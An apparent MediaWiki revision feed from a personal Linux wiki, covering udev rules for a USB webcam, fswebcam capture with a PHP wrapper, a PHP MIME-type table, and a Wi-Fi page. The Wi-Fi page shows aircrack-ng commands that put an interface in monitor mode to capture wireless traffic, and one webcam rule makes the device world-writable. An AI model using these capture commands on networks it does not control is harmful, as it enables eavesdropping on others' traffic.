If you are attempting to write a rule for a specific device, you should plug the device to your computer now and determine what the device path is. You must then list out all the udev properties of the device using the &amp;lt;code&amp;gt;udevadm&amp;lt;/code&amp;gt; command.&lt;br /&gt;
&lt;br /&gt;
For example, to create a udev rule for a USB Webcam at &amp;lt;code&amp;gt;/etc/video0&amp;lt;/code&amp;gt;:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
# udevadm info -a -p `udevadm info -q path -n /dev/video0`&lt;br /&gt;
&lt;br /&gt;
Udevadm info starts with the device specified by the devpath and then&lt;br /&gt;
walks up the chain of parent devices. It prints for every device&lt;br /&gt;
found, all possible attributes in the udev rules key format.&lt;br /&gt;
A rule to match, can be composed by the attributes of the device&lt;br /&gt;
and the attributes from one single parent device.&lt;br /&gt;
&lt;br /&gt;
  looking at device &#039;/devices/platform/bcm2708_usb/usb1/1-1/1-1.3/1-1.3:1.0/video4linux/video0&#039;:&lt;br /&gt;
    KERNEL==&amp;quot;video0&amp;quot;&lt;br /&gt;
    SUBSYSTEM==&amp;quot;video4linux&amp;quot;&lt;br /&gt;
    DRIVER==&amp;quot;&amp;quot;&lt;br /&gt;
    ATTR{debug}==&amp;quot;0&amp;quot;&lt;br /&gt;
    ATTR{index}==&amp;quot;0&amp;quot;&lt;br /&gt;
&lt;br /&gt;
  looking at parent device &#039;/devices/platform/bcm2708_usb/usb1/1-1/1-1.3/1-1.3:1.0&#039;:&lt;br /&gt;
    KERNELS==&amp;quot;1-1.3:1.0&amp;quot;&lt;br /&gt;
    SUBSYSTEMS==&amp;quot;usb&amp;quot;&lt;br /&gt;
    DRIVERS==&amp;quot;uvcvideo&amp;quot;&lt;br /&gt;
    ATTRS{bInterfaceClass}==&amp;quot;0e&amp;quot;&lt;br /&gt;
    ATTRS{iad_bFunctionClass}==&amp;quot;0e&amp;quot;&lt;br /&gt;
    ATTRS{iad_bFirstInterface}==&amp;quot;00&amp;quot;&lt;br /&gt;
    ATTRS{bInterfaceSubClass}==&amp;quot;01&amp;quot;&lt;br /&gt;
    ATTRS{bInterfaceProtocol}==&amp;quot;00&amp;quot;&lt;br /&gt;
    ATTRS{bNumEndpoints}==&amp;quot;01&amp;quot;&lt;br /&gt;
    ATTRS{iad_bFunctionSubClass}==&amp;quot;03&amp;quot;&lt;br /&gt;
    ATTRS{iad_bFunctionProtocol}==&amp;quot;00&amp;quot;&lt;br /&gt;
    ATTRS{supports_autosuspend}==&amp;quot;1&amp;quot;&lt;br /&gt;
    ATTRS{iad_bInterfaceCount}==&amp;quot;02&amp;quot;&lt;br /&gt;
    ATTRS{bAlternateSetting}==&amp;quot; 0&amp;quot;&lt;br /&gt;
    ATTRS{bInterfaceNumber}==&amp;quot;00&amp;quot;&lt;br /&gt;
&lt;br /&gt;
  looking at parent device &#039;/devices/platform/bcm2708_usb/usb1/1-1/1-1.3&#039;:&lt;br /&gt;
    KERNELS==&amp;quot;1-1.3&amp;quot;&lt;br /&gt;
    SUBSYSTEMS==&amp;quot;usb&amp;quot;&lt;br /&gt;
    DRIVERS==&amp;quot;usb&amp;quot;&lt;br /&gt;
    ATTRS{bDeviceSubClass}==&amp;quot;02&amp;quot;&lt;br /&gt;
    ATTRS{bDeviceProtocol}==&amp;quot;01&amp;quot;&lt;br /&gt;
    ATTRS{devpath}==&amp;quot;1.3&amp;quot;&lt;br /&gt;
    ATTRS{idVendor}==&amp;quot;045e&amp;quot;&lt;br /&gt;
    ATTRS{speed}==&amp;quot;480&amp;quot;&lt;br /&gt;
    ATTRS{bNumInterfaces}==&amp;quot; 4&amp;quot;&lt;br /&gt;
    ATTRS{bConfigurationValue}==&amp;quot;1&amp;quot;&lt;br /&gt;
    ATTRS{bMaxPacketSize0}==&amp;quot;64&amp;quot;&lt;br /&gt;
    ATTRS{busnum}==&amp;quot;1&amp;quot;&lt;br /&gt;
    ATTRS{devnum}==&amp;quot;6&amp;quot;&lt;br /&gt;
    ATTRS{configuration}==&amp;quot;&amp;quot;&lt;br /&gt;
    ATTRS{bMaxPower}==&amp;quot;500mA&amp;quot;&lt;br /&gt;
    ATTRS{authorized}==&amp;quot;1&amp;quot;&lt;br /&gt;
    ATTRS{bmAttributes}==&amp;quot;80&amp;quot;&lt;br /&gt;
    ATTRS{bNumConfigurations}==&amp;quot;1&amp;quot;&lt;br /&gt;
    ATTRS{maxchild}==&amp;quot;0&amp;quot;&lt;br /&gt;
    ATTRS{bcdDevice}==&amp;quot;0100&amp;quot;&lt;br /&gt;
    ATTRS{avoid_reset_quirk}==&amp;quot;0&amp;quot;&lt;br /&gt;
    ATTRS{quirks}==&amp;quot;0x0&amp;quot;&lt;br /&gt;
    ATTRS{version}==&amp;quot; 2.00&amp;quot;&lt;br /&gt;
    ATTRS{urbnum}==&amp;quot;38&amp;quot;&lt;br /&gt;
    ATTRS{ltm_capable}==&amp;quot;no&amp;quot;&lt;br /&gt;
    ATTRS{manufacturer}==&amp;quot;Microsoft&amp;quot;&lt;br /&gt;
    ATTRS{removable}==&amp;quot;removable&amp;quot;&lt;br /&gt;
    ATTRS{idProduct}==&amp;quot;0761&amp;quot;&lt;br /&gt;
    ATTRS{bDeviceClass}==&amp;quot;ef&amp;quot;&lt;br /&gt;
&lt;br /&gt;
  looking at parent device &#039;/devices/platform/bcm2708_usb/usb1/1-1&#039;:&lt;br /&gt;
    KERNELS==&amp;quot;1-1&amp;quot;&lt;br /&gt;
    SUBSYSTEMS==&amp;quot;usb&amp;quot;&lt;br /&gt;
    DRIVERS==&amp;quot;usb&amp;quot;&lt;br /&gt;
    ATTRS{bDeviceSubClass}==&amp;quot;00&amp;quot;&lt;br /&gt;
    ATTRS{bDeviceProtocol}==&amp;quot;02&amp;quot;&lt;br /&gt;
    ATTRS{devpath}==&amp;quot;1&amp;quot;&lt;br /&gt;
    ATTRS{idVendor}==&amp;quot;0424&amp;quot;&lt;br /&gt;
    ATTRS{speed}==&amp;quot;480&amp;quot;&lt;br /&gt;
    ATTRS{bNumInterfaces}==&amp;quot; 1&amp;quot;&lt;br /&gt;
    ATTRS{bConfigurationValue}==&amp;quot;1&amp;quot;&lt;br /&gt;
    ATTRS{bMaxPacketSize0}==&amp;quot;64&amp;quot;&lt;br /&gt;
    ATTRS{busnum}==&amp;quot;1&amp;quot;&lt;br /&gt;
    ATTRS{devnum}==&amp;quot;2&amp;quot;&lt;br /&gt;
    ATTRS{configuration}==&amp;quot;&amp;quot;&lt;br /&gt;
    ATTRS{bMaxPower}==&amp;quot;2mA&amp;quot;&lt;br /&gt;
    ATTRS{authorized}==&amp;quot;1&amp;quot;&lt;br /&gt;
    ATTRS{bmAttributes}==&amp;quot;e0&amp;quot;&lt;br /&gt;
    ATTRS{bNumConfigurations}==&amp;quot;1&amp;quot;&lt;br /&gt;
    ATTRS{maxchild}==&amp;quot;3&amp;quot;&lt;br /&gt;
    ATTRS{bcdDevice}==&amp;quot;0200&amp;quot;&lt;br /&gt;
    ATTRS{avoid_reset_quirk}==&amp;quot;0&amp;quot;&lt;br /&gt;
    ATTRS{quirks}==&amp;quot;0x0&amp;quot;&lt;br /&gt;
    ATTRS{version}==&amp;quot; 2.00&amp;quot;&lt;br /&gt;
    ATTRS{urbnum}==&amp;quot;80&amp;quot;&lt;br /&gt;
    ATTRS{ltm_capable}==&amp;quot;no&amp;quot;&lt;br /&gt;
    ATTRS{removable}==&amp;quot;unknown&amp;quot;&lt;br /&gt;
    ATTRS{idProduct}==&amp;quot;9512&amp;quot;&lt;br /&gt;
    ATTRS{bDeviceClass}==&amp;quot;09&amp;quot;&lt;br /&gt;
&lt;br /&gt;
  looking at parent device &#039;/devices/platform/bcm2708_usb/usb1&#039;:&lt;br /&gt;
    KERNELS==&amp;quot;usb1&amp;quot;&lt;br /&gt;
    SUBSYSTEMS==&amp;quot;usb&amp;quot;&lt;br /&gt;
    DRIVERS==&amp;quot;usb&amp;quot;&lt;br /&gt;
    ATTRS{bDeviceSubClass}==&amp;quot;00&amp;quot;&lt;br /&gt;
    ATTRS{bDeviceProtocol}==&amp;quot;01&amp;quot;&lt;br /&gt;
    ATTRS{devpath}==&amp;quot;0&amp;quot;&lt;br /&gt;
    ATTRS{idVendor}==&amp;quot;1d6b&amp;quot;&lt;br /&gt;
    ATTRS{speed}==&amp;quot;480&amp;quot;&lt;br /&gt;
    ATTRS{bNumInterfaces}==&amp;quot; 1&amp;quot;&lt;br /&gt;
    ATTRS{bConfigurationValue}==&amp;quot;1&amp;quot;&lt;br /&gt;
    ATTRS{bMaxPacketSize0}==&amp;quot;64&amp;quot;&lt;br /&gt;
    ATTRS{authorized_default}==&amp;quot;1&amp;quot;&lt;br /&gt;
    ATTRS{busnum}==&amp;quot;1&amp;quot;&lt;br /&gt;
    ATTRS{devnum}==&amp;quot;1&amp;quot;&lt;br /&gt;
    ATTRS{configuration}==&amp;quot;&amp;quot;&lt;br /&gt;
    ATTRS{bMaxPower}==&amp;quot;0mA&amp;quot;&lt;br /&gt;
    ATTRS{authorized}==&amp;quot;1&amp;quot;&lt;br /&gt;
    ATTRS{bmAttributes}==&amp;quot;e0&amp;quot;&lt;br /&gt;
    ATTRS{bNumConfigurations}==&amp;quot;1&amp;quot;&lt;br /&gt;
    ATTRS{maxchild}==&amp;quot;1&amp;quot;&lt;br /&gt;
    ATTRS{bcdDevice}==&amp;quot;0318&amp;quot;&lt;br /&gt;
    ATTRS{avoid_reset_quirk}==&amp;quot;0&amp;quot;&lt;br /&gt;
    ATTRS{quirks}==&amp;quot;0x0&amp;quot;&lt;br /&gt;
    ATTRS{serial}==&amp;quot;bcm2708_usb&amp;quot;&lt;br /&gt;
    ATTRS{version}==&amp;quot; 2.00&amp;quot;&lt;br /&gt;
    ATTRS{urbnum}==&amp;quot;26&amp;quot;&lt;br /&gt;
    ATTRS{ltm_capable}==&amp;quot;no&amp;quot;&lt;br /&gt;
    ATTRS{manufacturer}==&amp;quot;Linux 3.18.9-3-ARCH dwc_otg_hcd&amp;quot;&lt;br /&gt;
    ATTRS{removable}==&amp;quot;unknown&amp;quot;&lt;br /&gt;
    ATTRS{idProduct}==&amp;quot;0002&amp;quot;&lt;br /&gt;
    ATTRS{bDeviceClass}==&amp;quot;09&amp;quot;&lt;br /&gt;
    ATTRS{product}==&amp;quot;DWC OTG Controller&amp;quot;&lt;br /&gt;
&lt;br /&gt;
  looking at parent device &#039;/devices/platform/bcm2708_usb&#039;:&lt;br /&gt;
    KERNELS==&amp;quot;bcm2708_usb&amp;quot;&lt;br /&gt;
    SUBSYSTEMS==&amp;quot;platform&amp;quot;&lt;br /&gt;
    DRIVERS==&amp;quot;dwc_otg&amp;quot;&lt;br /&gt;
    ATTRS{hnp}==&amp;quot;HstNegScs = 0x0&amp;quot;&lt;br /&gt;
    ATTRS{srp}==&amp;quot;SesReqScs = 0x1&amp;quot;&lt;br /&gt;
    ATTRS{regvalue}==&amp;quot;invalid offset&amp;quot;&lt;br /&gt;
    ATTRS{hsic_connect}==&amp;quot;HSIC Connect = 0x1&amp;quot;&lt;br /&gt;
    ATTRS{guid}==&amp;quot;GUID = 0x2708a000&amp;quot;&lt;br /&gt;
    ATTRS{mode}==&amp;quot;Mode = 0x1&amp;quot;&lt;br /&gt;
    ATTRS{srpcapable}==&amp;quot;SRPCapable = 0x1&amp;quot;&lt;br /&gt;
    ATTRS{regdump}==&amp;quot;Register Dump&amp;quot;&lt;br /&gt;
    ATTRS{gpvndctl}==&amp;quot;GPVNDCTL = 0x00000000&amp;quot;&lt;br /&gt;
    ATTRS{ggpio}==&amp;quot;GGPIO = 0x00000000&amp;quot;&lt;br /&gt;
    ATTRS{hprt0}==&amp;quot;HPRT0 = 0x00001005&amp;quot;&lt;br /&gt;
    ATTRS{wr_reg_test}==&amp;quot;Time to write GNPTXFSIZ reg 10000000 times: 670 msecs (67 jiffies)&amp;quot;&lt;br /&gt;
    ATTRS{driver_override}==&amp;quot;(null)&amp;quot;&lt;br /&gt;
    ATTRS{hcd_frrem}==&amp;quot;HCD Dump Frame Remaining&amp;quot;&lt;br /&gt;
    ATTRS{mode_ch_tim_en}==&amp;quot;Mode Change Ready Timer Enable = 0x0&amp;quot;&lt;br /&gt;
    ATTRS{gnptxfsiz}==&amp;quot;GNPTXFSIZ = 0x01000306&amp;quot;&lt;br /&gt;
    ATTRS{remote_wakeup}==&amp;quot;Remote Wakeup Sig = 0 Enabled = 0 LPM Remote Wakeup = 0&amp;quot;&lt;br /&gt;
    ATTRS{busconnected}==&amp;quot;Bus Connected = 0x1&amp;quot;&lt;br /&gt;
    ATTRS{hcddump}==&amp;quot;HCD Dump&amp;quot;&lt;br /&gt;
    ATTRS{gotgctl}==&amp;quot;GOTGCTL = 0x001c0001&amp;quot;&lt;br /&gt;
    ATTRS{spramdump}==&amp;quot;SPRAM Dump&amp;quot;&lt;br /&gt;
    ATTRS{grxfsiz}==&amp;quot;GRXFSIZ = 0x00000306&amp;quot;&lt;br /&gt;
    ATTRS{gsnpsid}==&amp;quot;GSNPSID = 0x4f54280a&amp;quot;&lt;br /&gt;
    ATTRS{gusbcfg}==&amp;quot;GUSBCFG = 0x00001700&amp;quot;&lt;br /&gt;
    ATTRS{hptxfsiz}==&amp;quot;HPTXFSIZ = 0x02000406&amp;quot;&lt;br /&gt;
    ATTRS{devspeed}==&amp;quot;Device Speed = 0x0&amp;quot;&lt;br /&gt;
    ATTRS{fr_interval}==&amp;quot;Frame Interval = 0x1d4c&amp;quot;&lt;br /&gt;
    ATTRS{rem_wakeup_pwrdn}==&amp;quot;&amp;quot;&lt;br /&gt;
    ATTRS{bussuspend}==&amp;quot;Bus Suspend = 0x0&amp;quot;&lt;br /&gt;
    ATTRS{buspower}==&amp;quot;Bus Power = 0x1&amp;quot;&lt;br /&gt;
    ATTRS{hnpcapable}==&amp;quot;HNPCapable = 0x1&amp;quot;&lt;br /&gt;
    ATTRS{rd_reg_test}==&amp;quot;Time to read GNPTXFSIZ reg 10000000 times: 1510 msecs (151 jiffies)&amp;quot;&lt;br /&gt;
    ATTRS{enumspeed}==&amp;quot;Device Enumeration Speed = 0x1&amp;quot;&lt;br /&gt;
    ATTRS{inv_sel_hsic}==&amp;quot;Invert Select HSIC = 0x0&amp;quot;&lt;br /&gt;
    ATTRS{regoffset}==&amp;quot;0xffffffff&amp;quot;&lt;br /&gt;
&lt;br /&gt;
  looking at parent device &#039;/devices/platform&#039;:&lt;br /&gt;
    KERNELS==&amp;quot;platform&amp;quot;&lt;br /&gt;
    SUBSYSTEMS==&amp;quot;&amp;quot;&lt;br /&gt;
    DRIVERS==&amp;quot;&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In the udev rules file, match all attributes that uniquely identify the device you&#039;re targetting. In the example above, using the &amp;lt;code&amp;gt;SUBSYSTEM&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;ATTRS{idVendor}&amp;lt;/code&amp;gt;, and &amp;lt;code&amp;gt;ATTRS{idProduct}&amp;lt;/code&amp;gt; would be sufficient. Eg:&lt;br /&gt;
 SUBSYSTEM==&amp;quot;video4linux&amp;quot;, ATTRS{idVendor}==&amp;quot;045e&amp;quot;&lt;br /&gt;
&lt;br /&gt;
In the second half of the line, you may define values for this device. If the webcam needs to be world read and writable, assign &amp;lt;code&amp;gt;0666&amp;lt;/code&amp;gt; to &amp;lt;code&amp;gt;MODE&amp;lt;/code&amp;gt;  like so:&lt;br /&gt;
 SUBSYSTEM==&amp;quot;video4linux&amp;quot;, ATTRS{idVendor}==&amp;quot;045e&amp;quot;, ATTRS{idProduct}==&amp;quot;0761&amp;quot;, MODE=&amp;quot;0666&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Restart the udev daemon and check the logs for any errors. If the rules are correct, replugging the device should have have the affects defined in the rules.&lt;br /&gt;
&lt;br /&gt;
[[Category:Linux]]&lt;/div&gt;</summary>
		<author><name>10.1.1.3</name></author>
	</entry>
	<entry>
		<id>https://leo.leung.xyz/wiki/index.php?title=Webcam&amp;diff=915</id>
		<title>Webcam</title>
		<link rel="alternate" type="text/html" href="https://leo.leung.xyz/wiki/index.php?title=Webcam&amp;diff=915"/>
		<updated>2015-03-23T08:14:24Z</updated>

		<summary type="html">&lt;p&gt;10.1.1.3: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
== Linux ==&lt;br /&gt;
To get a webcam working for Linux, ensure that it&#039;s supported. Newer webcams tend to have support though cheaper non-HD webcams from China might not. You should see a &amp;lt;code&amp;gt;/dev/video0&amp;lt;/code&amp;gt; device when the webcam is plugged into the computer. If not, check &amp;lt;code&amp;gt;dmesg&amp;lt;/code&amp;gt; and see if the USB device is being detected. &amp;lt;code&amp;gt;lsusb&amp;lt;/code&amp;gt; should also list it.&lt;br /&gt;
&lt;br /&gt;
The default permissions set to &amp;lt;code&amp;gt;/dev/video0&amp;lt;/code&amp;gt; is set by udev. If you need to change the device permissions (say making it world read/writable), you will need to create a udev rule by creating a new file in &amp;lt;code&amp;gt;/etc/udev/rules.d/&amp;lt;/code&amp;gt; with the following contents:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
SUBSYSTEM==&amp;quot;video4linux&amp;quot;, BUS==&amp;quot;usb&amp;quot;, SYSFS{idVendor}==&amp;quot;045e&amp;quot;, SYSFS{idProduct}==&amp;quot;0761&amp;quot;, NAME=&amp;quot;video0&amp;quot;, MODE=&amp;quot;0666&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The Vendor ID and product ID must match the values from &amp;lt;code&amp;gt;lsusb&amp;lt;/code&amp;gt;. For the example above (a Microsoft LifeCam VX-2000):&lt;br /&gt;
 # lsusb&lt;br /&gt;
 Bus 001 Device 005: ID 045e:0761 Microsoft Corp.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
To capture images, use any one of the following utilities:&lt;br /&gt;
* fswebcam&lt;br /&gt;
* uvccapture&lt;br /&gt;
&lt;br /&gt;
=== fswebcam ===&lt;br /&gt;
 fswebcam -r 640x480 --jpeg 85 -D 1 web-cam-shot.jpg&lt;br /&gt;
&lt;br /&gt;
==== Dumping fswebcam images via HTTP ====&lt;br /&gt;
You can make a quick an dirty wrapper around the command above so that it can be viewed via the web.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
&lt;br /&gt;
system(&amp;quot;fswebcam -r 640x480 --jpeg 85 -D 1 /tmp/out.jpg &amp;gt; /dev/null&amp;quot;);&lt;br /&gt;
header(&amp;quot;Content-Type: image/jpeg&amp;quot;);&lt;br /&gt;
echo file_get_contents(&amp;quot;/tmp/out.jpg&amp;quot;);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== uvccapture ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Linux]]&lt;/div&gt;</summary>
		<author><name>10.1.1.3</name></author>
	</entry>
	<entry>
		<id>https://leo.leung.xyz/wiki/index.php?title=Webcam&amp;diff=914</id>
		<title>Webcam</title>
		<link rel="alternate" type="text/html" href="https://leo.leung.xyz/wiki/index.php?title=Webcam&amp;diff=914"/>
		<updated>2015-03-23T08:12:26Z</updated>

		<summary type="html">&lt;p&gt;10.1.1.3: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
== Linux ==&lt;br /&gt;
To get a webcam working for Linux, ensure that it&#039;s supported. Newer webcams tend to have support though cheaper non-HD webcams from China might not. You should see a &amp;lt;code&amp;gt;/dev/video0&amp;lt;/code&amp;gt; device when the webcam is plugged into the computer. If not, check &amp;lt;code&amp;gt;dmesg&amp;lt;/code&amp;gt; and see if the USB device is being detected. &amp;lt;code&amp;gt;lsusb&amp;lt;/code&amp;gt; should also list it.&lt;br /&gt;
&lt;br /&gt;
The default permissions set to &amp;lt;code&amp;gt;/dev/video0&amp;lt;/code&amp;gt; is set by udev. If you need to change the device permissions (say making it world read/writable), you will need to create a udev rule by creating a new file in &amp;lt;code&amp;gt;/etc/udev/rules.d/&amp;lt;/code&amp;gt; with the following contents:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
SUBSYSTEM==&amp;quot;video4linux&amp;quot;, BUS==&amp;quot;usb&amp;quot;, SYSFS{idVendor}==&amp;quot;045e&amp;quot;, SYSFS{idProduct}==&amp;quot;0761&amp;quot;, NAME=&amp;quot;video0&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The Vendor ID and product ID must match the values from &amp;lt;code&amp;gt;lsusb&amp;lt;/code&amp;gt;. For the example above (a Microsoft LifeCam VX-2000):&lt;br /&gt;
 # lsusb&lt;br /&gt;
 Bus 001 Device 005: ID 045e:0761 Microsoft Corp.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
To capture images, use any one of the following utilities:&lt;br /&gt;
* fswebcam&lt;br /&gt;
* uvccapture&lt;br /&gt;
&lt;br /&gt;
=== fswebcam ===&lt;br /&gt;
 fswebcam -r 640x480 --jpeg 85 -D 1 web-cam-shot.jpg&lt;br /&gt;
&lt;br /&gt;
==== Dumping fswebcam images via HTTP ====&lt;br /&gt;
You can make a quick an dirty wrapper around the command above so that it can be viewed via the web.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
&lt;br /&gt;
system(&amp;quot;fswebcam -r 640x480 --jpeg 85 -D 1 /tmp/out.jpg &amp;gt; /dev/null&amp;quot;);&lt;br /&gt;
header(&amp;quot;Content-Type: image/jpeg&amp;quot;);&lt;br /&gt;
echo file_get_contents(&amp;quot;/tmp/out.jpg&amp;quot;);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== uvccapture ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Linux]]&lt;/div&gt;</summary>
		<author><name>10.1.1.3</name></author>
	</entry>
	<entry>
		<id>https://leo.leung.xyz/wiki/index.php?title=Webcam&amp;diff=913</id>
		<title>Webcam</title>
		<link rel="alternate" type="text/html" href="https://leo.leung.xyz/wiki/index.php?title=Webcam&amp;diff=913"/>
		<updated>2015-03-23T08:03:45Z</updated>

		<summary type="html">&lt;p&gt;10.1.1.3: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
== Linux ==&lt;br /&gt;
To get a webcam working for Linux, ensure that it&#039;s supported. Newer webcams tend to have support though cheaper non-HD webcams from China might not. You should see a &amp;lt;code&amp;gt;/dev/videoS0&amp;lt;/code&amp;gt; device when the webcam is plugged into the computer. If not, check &amp;lt;code&amp;gt;dmesg&amp;lt;/code&amp;gt; and see if the USB device is being detected. &amp;lt;code&amp;gt;lsusb&amp;lt;/code&amp;gt; should also list it.&lt;br /&gt;
&lt;br /&gt;
To capture images, use any one of the following utilities:&lt;br /&gt;
* fswebcam&lt;br /&gt;
* uvccapture&lt;br /&gt;
&lt;br /&gt;
=== fswebcam ===&lt;br /&gt;
 fswebcam -r 640x480 --jpeg 85 -D 1 web-cam-shot.jpg&lt;br /&gt;
&lt;br /&gt;
==== Dumping fswebcam images via HTTP ====&lt;br /&gt;
You can make a quick an dirty wrapper around the command above so that it can be viewed via the web.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
&lt;br /&gt;
system(&amp;quot;fswebcam -r 640x480 --jpeg 85 -D 1 /tmp/out.jpg &amp;gt; /dev/null&amp;quot;);&lt;br /&gt;
header(&amp;quot;Content-Type: image/jpeg&amp;quot;);&lt;br /&gt;
echo file_get_contents(&amp;quot;/tmp/out.jpg&amp;quot;);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== uvccapture ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Linux]]&lt;/div&gt;</summary>
		<author><name>10.1.1.3</name></author>
	</entry>
	<entry>
		<id>https://leo.leung.xyz/wiki/index.php?title=PHP_Header&amp;diff=912</id>
		<title>PHP Header</title>
		<link rel="alternate" type="text/html" href="https://leo.leung.xyz/wiki/index.php?title=PHP_Header&amp;diff=912"/>
		<updated>2015-03-23T07:33:36Z</updated>

		<summary type="html">&lt;p&gt;10.1.1.3: Created page with &amp;quot;  header(&amp;#039;Content-Type: &amp;#039; . image_type_to_mime_type($image_type));  where &amp;lt;code&amp;gt;$image_type&amp;lt;/code&amp;gt; is any one of the &amp;lt;code&amp;gt;IMAGETYPE_XXX&amp;lt;/code&amp;gt; constants as listed in http://p...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
 header(&#039;Content-Type: &#039; . image_type_to_mime_type($image_type));&lt;br /&gt;
&lt;br /&gt;
where &amp;lt;code&amp;gt;$image_type&amp;lt;/code&amp;gt; is any one of the &amp;lt;code&amp;gt;IMAGETYPE_XXX&amp;lt;/code&amp;gt; constants as listed in http://php.net/image_type_to_mime_type.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
IMAGETYPE_GIF	image/gif&lt;br /&gt;
IMAGETYPE_JPEG	image/jpeg&lt;br /&gt;
IMAGETYPE_PNG	image/png&lt;br /&gt;
IMAGETYPE_SWF	application/x-shockwave-flash&lt;br /&gt;
IMAGETYPE_PSD	image/psd&lt;br /&gt;
IMAGETYPE_BMP	image/bmp&lt;br /&gt;
IMAGETYPE_TIFF_II (intel byte order)	image/tiff&lt;br /&gt;
IMAGETYPE_TIFF_MM (motorola byte order)	image/tiff&lt;br /&gt;
IMAGETYPE_JPC	application/octet-stream&lt;br /&gt;
IMAGETYPE_JP2	image/jp2&lt;br /&gt;
IMAGETYPE_JPX	application/octet-stream&lt;br /&gt;
IMAGETYPE_JB2	application/octet-stream&lt;br /&gt;
IMAGETYPE_SWC	application/x-shockwave-flash&lt;br /&gt;
IMAGETYPE_IFF	image/iff&lt;br /&gt;
IMAGETYPE_WBMP	image/vnd.wap.wbmp&lt;br /&gt;
IMAGETYPE_XBM	image/xbm&lt;br /&gt;
IMAGETYPE_ICO	image/vnd.microsoft.icon&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>10.1.1.3</name></author>
	</entry>
	<entry>
		<id>https://leo.leung.xyz/wiki/index.php?title=Wi-Fi&amp;diff=911</id>
		<title>Wi-Fi</title>
		<link rel="alternate" type="text/html" href="https://leo.leung.xyz/wiki/index.php?title=Wi-Fi&amp;diff=911"/>
		<updated>2015-03-23T07:27:31Z</updated>

		<summary type="html">&lt;p&gt;10.1.1.3: /* Automatically Connecting */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Monitoring Access Points ==&lt;br /&gt;
To monitor data on the wifi network, install aircrack-ng, then run:&lt;br /&gt;
 airomon-ng start wlan0&lt;br /&gt;
 airodump-ng wlan0&lt;br /&gt;
&lt;br /&gt;
You may get an error like:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
[root@alarmpi ~]# airodump-ng wlan0&lt;br /&gt;
ioctl(SIOCSIWMODE) failed: Device or resource busy&lt;br /&gt;
&lt;br /&gt;
ARP linktype is set to 1 (Ethernet) - expected ARPHRD_IEEE80211,&lt;br /&gt;
ARPHRD_IEEE80211_FULL or ARPHRD_IEEE80211_PRISM instead.  Make&lt;br /&gt;
sure RFMON is enabled: run &#039;airmon-ng start wlan0 &amp;lt;#&amp;gt;&#039;&lt;br /&gt;
Sysfs injection support was not found either.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Make sure that the wireless device is in the monitor mode and then try again.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
[root@alarmpi ~]# iwconfig wlan0&lt;br /&gt;
wlan0     IEEE 802.11bgn  ESSID:off/any&lt;br /&gt;
          Mode:Managed  Access Point: Not-Associated   Tx-Power=20 dBm&lt;br /&gt;
          Retry short limit:7   RTS thr:off   Fragment thr:off&lt;br /&gt;
          Encryption key:off&lt;br /&gt;
          Power Management:off&lt;br /&gt;
&lt;br /&gt;
[root@alarmpi ~]# ifconfig wlan0 down&lt;br /&gt;
[root@alarmpi ~]# iwconfig wlan0 mode monitor&lt;br /&gt;
[root@alarmpi ~]# ifconfig wlan0 up&lt;br /&gt;
[root@alarmpi ~]# iwconfig wlan0&lt;br /&gt;
wlan0     IEEE 802.11bgn  Mode:Monitor  Frequency:2.422 GHz  Tx-Power=20 dBm&lt;br /&gt;
          Retry short limit:7   RTS thr:off   Fragment thr:off&lt;br /&gt;
          Power Management:off&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Automatically Connecting ==&lt;br /&gt;
